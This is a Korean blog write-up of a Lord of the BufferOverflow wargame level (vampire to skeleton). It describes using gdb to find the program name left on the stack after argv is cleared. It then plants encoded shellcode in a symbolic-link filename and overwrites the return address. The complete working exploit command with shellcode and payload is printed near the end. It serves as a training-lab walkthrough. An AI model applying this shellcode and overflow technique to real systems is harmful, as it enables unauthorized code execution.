반응형
vampire -> skeleton 으로 접속합니다.
소스코드를 봅니다.
모든 argv를 다 초기화 시키네요...
혹시나 싶어서 이전에 사용했던 익스플로잇 코드를 사용해봤지만 역시나...
계속 삽질, 고민 하던중에
일단 스택을 뒤져보자는 생각을 합니다.
모든 argv가 초기화 되더라도 무엇이 남은게 있어야 풀 수 있겠다 싶었습니다.
(만약 남은 것도 없으면 구글링 하려고 했었는데)
우선 퍼미션 문제때문에 문제파일을 복사하고
끝나는 부분 main+368에 브레이크를 걸어줍니다.
그냥 끝까지 다보려고
x/1000x $ebp를 했습니다.
아니 그런데 이럴수가 다행히 끝부분에 무언가가 있습니다. 이를 다시 확인해봅니다.
(x/100x, x/100c, x/100s로 확인하던중)
현제 파일 명이 나온걸 발견!
argv[0]이 초기화되도 저게 남네요 ㅎㅎㅎㅎ
가뭄에 단비라도 내리듯 바로 심볼릭 링크를 걸어줍니다.
(링크 걸때 \x2f였나 f2였나 있으면 안되서 새로운 쉘코드를 (48바이트) 사용합니다.)
심볼릉 링크를 걸때 앞뒤에 nop를 줍니다. (혹시 모르니깐요 ㅎ)
크 역시 끝부분에 남는군요
0xbfffff38쯤을 ret로 잡으면 되겠군요
skeleton1에 걸었던 심볼릭 링크를 제거하고
skeleton에 걸어준 다음
공격을 시도합니다.
./`python -c 'print "\x90"*100+ "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*50'` `python -c 'print "\x90"*44+"\x38\xff\xff\xbf"'`
(처음에 심볼릭 링크 등록할때 분명이 되야하는데 안되서<-앞에만 nop를 넣어줘서)
(뒤에도 nop을 넣어주니 아주 잘 되네요. 이것 때문에 머리 터질뻔)
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 12 golem (0) | 2021.08.10 |
---|---|
LOB Level 11 skeleton (0) | 2021.08.10 |
LOB Level 9 troll (0) | 2021.08.09 |
LOB Level 8 orge (0) | 2021.08.09 |
LOB Level 7 darkelf (0) | 2021.08.09 |